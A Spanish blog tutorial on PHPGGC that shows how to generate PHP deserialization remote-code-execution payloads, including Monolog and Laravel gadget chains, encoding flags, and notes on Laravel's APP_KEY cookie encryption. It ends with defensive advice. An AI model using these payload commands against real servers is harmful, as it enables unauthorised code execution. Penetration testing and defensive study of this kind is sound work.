PHPGGC: Explotación de Deserialización PHP

 

 https://www.onlinetis.com/es/

PHPGGC: Explotación de Deserialización PHP

PHPGGC (PHP Generic Gadget Chains) es una herramienta de línea de comandos indispensable para auditores de seguridad y pentesters que trabajan con aplicaciones PHP. Se utiliza específicamente para explotar vulnerabilidades de deserialización insegura.

Aquí tienes una guía rápida en español sobre qué es y cómo usarla en Kali Linux.


¿Qué hace PHPGGC?

Cuando una aplicación PHP utiliza la función unserialize() con datos que un usuario puede controlar, un atacante puede enviar un "objeto" malicioso. PHPGGC contiene una librería de "gadgets" (fragmentos de código existentes en frameworks populares como Laravel, Symfony o Guzzle) que, al combinarse, permiten ejecutar comandos en el servidor (RCE).


Instalación en Kali Linux

Aunque puedes clonar el repositorio, lo más común es descargarlo directamente:

  1. Clona el repositorio:

    Bash
    git clone https://github.com/ambionics/phpggc.git
    
  2. Entra al directorio:

    Bash
    cd phpggc
    
  3. Dale permisos de ejecución:

    Bash
    chmod +x phpggc
    

Comandos Principales

1. Listar los gadgets disponibles

Para ver qué frameworks y librerías son soportados, ejecuta:

Bash
./phpggc -l

Esto te mostrará una lista (por ejemplo: Laravel/RCE1, Monolog/RCE2, SwiftMailer/FW1, etc.).

2. Buscar un gadget específico

Si sabes que la víctima usa Laravel, puedes filtrar:

Bash
./phpggc -l Laravel

3. Generar un Payload

Para generar un objeto serializado que ejecute un comando (por ejemplo, whoami), la sintaxis básica es:

Bash
./phpggc <NombreDelGadget> <Función> <Comando>

Ejemplo real usando Monolog:

Bash
./phpggc Monolog/RCE1 system "id"

Esto generará una cadena de texto extraña (serializada) que deberás enviar al parámetro vulnerable de la web.


Opciones Útiles

  • Codificación: Muchas veces los payloads tienen caracteres no imprimibles. Puedes usar -u para URL-encode o -b para Base64.

    Bash
    ./phpggc -b Monolog/RCE1 system "uname -a"
    
  • Formato de salida: Si necesitas el payload para un script en Python o PHP, puedes usar -o.

  • Fast-destruct: Algunos gadgets necesitan que el objeto sea destruido inmediatamente para ejecutarse; usa la bandera -f.


¿Cuándo usarlo?

Solo funcionará si:

  1. La aplicación tiene un punto de entrada con unserialize().

  2. La aplicación utiliza una de las librerías que PHPGGC tiene en su base de datos.

  3. Conoces la versión de la librería (o vas probando mediante ensayo y error).

Nota de seguridad: Utiliza esta herramienta solo en entornos controlados o auditorías autorizadas. La deserialización es una de las vulnerabilidades más críticas en aplicaciones web modernas.

 

Si estás trabajando con Laravel y quieres usar PHPGGC, estás en el terreno de una de las superficies de ataque más comunes en auditorías de aplicaciones PHP. Laravel es un framework robusto, pero si utiliza unserialize() en cookies, sesiones o entradas de base de datos, PHPGGC tiene "cadenas" (gadgets) muy potentes para explotarlo.

Aquí te explico cómo enfocarlo específicamente para Laravel:


1. Identificar Gadgets para Laravel

Laravel ha evolucionado y PHPGGC se actualiza constantemente para cubrir sus versiones. Para ver qué tienes disponible para este framework, usa:

Bash
./phpggc -l Laravel

Verás resultados como:

  • Laravel/RCE1 a RCE7: Diferentes cadenas para ejecutar comandos (Remote Code Execution).

  • Laravel/RCE9 (v5.4.0 a v9.1.8+): Una de las más versátiles que utiliza GuzzleHttp.


2. Generar el Payload

Supongamos que has confirmado que una aplicación Laravel (versión 8 o 9) es vulnerable. Quieres ejecutar un ping a tu servidor para confirmar la ejecución.

Comando básico:

Bash
./phpggc Laravel/RCE9 system "ping -c 4 tu-ip-o-dominio.com"

3. El factor "App Key" y las Cookies

En Laravel, la deserialización insegura suele ocurrir en las cookies. Sin embargo, Laravel firma y cifra las cookies usando la APP_KEY (definida en el archivo .env).

  • Si NO tienes la APP_KEY: No podrás cifrar el payload de PHPGGC de forma que Laravel lo acepte.

  • Si TIENES la APP_KEY: Puedes usar herramientas como yoserial.net o scripts personalizados en PHP para envolver el output de PHPGGC en el formato de cifrado de Laravel (AES-256-CBC o AES-128-CBC).


4. Ejemplo Práctico: Payload en Base64

Muchos vectores de ataque requieren que el payload sea una cadena de texto limpia. Usa la opción -b:

Bash
./phpggc -b Laravel/RCE7 system "id"

Esto te devolverá un string largo en Base64 que representa el objeto malicioso.


Tabla de Compatibilidad (Resumen)

GadgetVersión Laravel EstimadaDependencia Principal
RCE15.4.xIlluminate\Broadcasting
RCE55.5.x - 5.8.xFaker\Generator
RCE95.4.0 - 9.x+GuzzleHttp\Cookie

¿Cómo prevenir esto en Laravel?

Si estás del lado de la defensa (Blue Team), para proteger una app Laravel debes:

  1. Nunca usar unserialize() con datos que vengan del usuario ($_GET, $_POST, $_COOKIE).

  2. Utilizar json_decode() y json_encode() para manejar datos estructurados.

  3. Mantener las dependencias actualizadas (composer update), ya que Laravel y Guzzle suelen parchear los puntos donde PHPGGC encuentra "gadgets".

Entradas populares de este blog

Hacking y ciberseguridad en kali linux con Fping

Hacking y ciberseguridad en kali linux con atk6-thcping6

Como utilizar Fierce en kali linux